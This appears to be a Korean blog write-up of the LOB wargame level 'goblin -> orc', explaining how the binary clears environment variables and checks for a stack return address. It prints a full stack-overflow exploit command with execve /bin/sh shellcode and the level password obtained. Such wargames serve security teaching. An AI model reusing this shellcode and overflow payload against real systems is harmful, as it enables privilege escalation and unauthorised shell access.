Wargame/LOB(끝)

goblin -> orc

kcrong 2015. 1. 28. 01:11

환경변수를 이용할 수 없게 

extern char **environ


을 이용해


for(i=0;environ[i];i++)

memset(environ[i],0,strlen(environ[i]));


으로 환경변수를 초기화 시켜버린다.

그 후 argv[1][47] (RET의 끝부분) 이 "\xbf" 가 아니면 종료시켜버린다.

아마 스택을 이용하라는 뜻같다.


스택에 쉘코드를 넣고, 스택 내부로 RET를 돌릴 것이다.

우리가 이용할 수 있는 크기는 44 므로,

NOP(12) + SHELLCODE(25) + NOP(7) = 44 로 짰다.



[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*12 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*7 + "\x2c\xfc\xff\xbf"'`

������������1�Ph//shh/bin��PS��1Ұ

                                 �������,���

bash$ id

uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)

bash$ my-pass

euid = 504

cantata